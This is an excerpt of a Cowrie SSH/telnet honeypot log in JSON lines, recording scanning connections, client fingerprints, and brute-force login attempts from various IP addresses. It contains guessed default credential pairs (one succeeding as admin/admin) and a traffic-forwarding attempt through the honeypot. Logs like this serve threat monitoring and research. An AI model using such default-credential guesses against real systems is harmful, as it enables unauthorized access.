{"eventid":"cowrie.session.closed","duration":7.663174867630005,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:29.896519Z","src_ip":"20.123.41.163","session":"3000fa3bf4b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":49220,"dst_ip":"10.17.0.5","dst_port":23,"session":"363a00b73135","protocol":"telnet","message":"New connection: 20.123.41.163:49220 (10.17.0.5:23) [session: 363a00b73135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:34.382710Z"}
{"eventid":"cowrie.session.closed","duration":35.574880838394165,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:34.469702Z","src_ip":"104.245.105.2","session":"77b15c16e84a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.840153217315674,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:44.692821Z","src_ip":"20.123.41.163","session":"e5f377b8b8ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":56142,"dst_ip":"10.17.0.5","dst_port":23,"session":"f160285f6637","protocol":"telnet","message":"New connection: 20.123.41.163:56142 (10.17.0.5:23) [session: f160285f6637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:48.214951Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":52736,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8b6b2bdd27b","protocol":"ssh","message":"New connection: 182.253.168.47:52736 (10.17.0.5:22) [session: d8b6b2bdd27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:48.472210Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:48.759172Z","src_ip":"182.253.168.47","session":"b0cbca48aa97","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:49.700130Z","src_ip":"182.253.168.47","session":"d8b6b2bdd27b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:49.704259Z","src_ip":"182.253.168.47","session":"d8b6b2bdd27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":56420,"dst_ip":"10.17.0.5","dst_port":22,"session":"d253fc814c70","protocol":"ssh","message":"New connection: 88.205.172.170:56420 (10.17.0.5:22) [session: d253fc814c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:50.319432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:50.325718Z","src_ip":"88.205.172.170","session":"d253fc814c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:50.492587Z","src_ip":"88.205.172.170","session":"d253fc814c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cisco123","message":"login attempt [admin/cisco123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:50.878508Z","src_ip":"182.253.168.47","session":"d8b6b2bdd27b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfasdf","message":"login attempt [ubuntu/asdfasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:51.194572Z","src_ip":"88.205.172.170","session":"d253fc814c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:52.173772Z","src_ip":"182.253.168.47","session":"d8b6b2bdd27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:52.365296Z","src_ip":"88.205.172.170","session":"d253fc814c70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49716,"dst_ip":"10.17.0.5","dst_port":23,"session":"7224c1a86fc8","protocol":"telnet","message":"New connection: 104.245.105.2:49716 (10.17.0.5:23) [session: 7224c1a86fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:53.049181Z"}
{"eventid":"cowrie.session.closed","duration":8.675850629806519,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:56.890688Z","src_ip":"20.123.41.163","session":"f160285f6637","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948812007904053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:00.313208Z","src_ip":"104.245.105.2","session":"1c5d3fdcff00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.2250714302063,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:03.134807Z","src_ip":"20.123.41.163","session":"1066e8292e8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.60147261619568,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:06.714191Z","src_ip":"20.123.41.163","session":"1889725da1c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.199.87","src_port":60428,"dst_ip":"10.17.0.5","dst_port":23,"session":"58cc2514ed8b","protocol":"telnet","message":"New connection: 71.6.199.87:60428 (10.17.0.5:23) [session: 58cc2514ed8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:15.153953Z"}
{"eventid":"cowrie.session.closed","duration":50.45826268196106,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:24.840876Z","src_ip":"20.123.41.163","session":"363a00b73135","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.168076276779175,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:25.216909Z","src_ip":"104.245.105.2","session":"7224c1a86fc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.11070442199707,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:25.264519Z","src_ip":"71.6.199.87","session":"58cc2514ed8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":40534,"dst_ip":"10.17.0.5","dst_port":23,"session":"d113d9a3951b","protocol":"telnet","message":"New connection: 20.123.41.163:40534 (10.17.0.5:23) [session: d113d9a3951b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:29.463721Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51586,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bdd12a435ea","protocol":"telnet","message":"New connection: 104.245.105.2:51586 (10.17.0.5:23) [session: 5bdd12a435ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:37.580874Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:47.827288Z","src_ip":"182.253.168.47","session":"46b0491c4b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36096,"dst_ip":"10.17.0.5","dst_port":23,"session":"89b0c58e6727","protocol":"telnet","message":"New connection: 104.245.105.2:36096 (10.17.0.5:23) [session: 89b0c58e6727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:52.876689Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.187.176.104","src_port":15250,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd9fed9d1e77","protocol":"ssh","message":"New connection: 194.187.176.104:15250 (159.203.135.109:22) [session: dd9fed9d1e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:53.556679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:53.560748Z","src_ip":"194.187.176.104","session":"dd9fed9d1e77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:53.657885Z","src_ip":"194.187.176.104","session":"dd9fed9d1e77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:53.961890Z","src_ip":"194.187.176.104","session":"dd9fed9d1e77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":41270,"dst_ip":"10.17.0.5","dst_port":22,"session":"833dce3bcec8","protocol":"ssh","message":"New connection: 182.253.168.47:41270 (10.17.0.5:22) [session: 833dce3bcec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:54.458452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:54.463356Z","src_ip":"182.253.168.47","session":"833dce3bcec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:55.726617Z","src_ip":"182.253.168.47","session":"833dce3bcec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"qwer1234","message":"login attempt [testuser/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:10:57.204885Z","src_ip":"182.253.168.47","session":"833dce3bcec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:00.851738Z","src_ip":"182.253.168.47","session":"833dce3bcec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56678,"dst_ip":"10.17.0.5","dst_port":22,"session":"27079c36e6fb","protocol":"ssh","message":"New connection: 87.251.64.176:56678 (10.17.0.5:22) [session: 27079c36e6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:09.634691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:09.640540Z","src_ip":"87.251.64.176","session":"27079c36e6fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:09.737223Z","src_ip":"87.251.64.176","session":"27079c36e6fb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:10.028288Z","src_ip":"87.251.64.176","session":"27079c36e6fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:10.127742Z","session":"27079c36e6fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:10.226604Z","src_ip":"87.251.64.176","session":"27079c36e6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:10.328025Z","src_ip":"87.251.64.176","session":"27079c36e6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.879658937454224,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:20.343291Z","src_ip":"20.123.41.163","session":"d113d9a3951b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60492,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf4bb4af2fae","protocol":"ssh","message":"New connection: 45.156.87.254:60492 (159.203.135.109:22) [session: bf4bb4af2fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:21.046544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:21.051447Z","src_ip":"45.156.87.254","session":"bf4bb4af2fae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:21.133815Z","src_ip":"45.156.87.254","session":"bf4bb4af2fae","protocol":"ssh"}
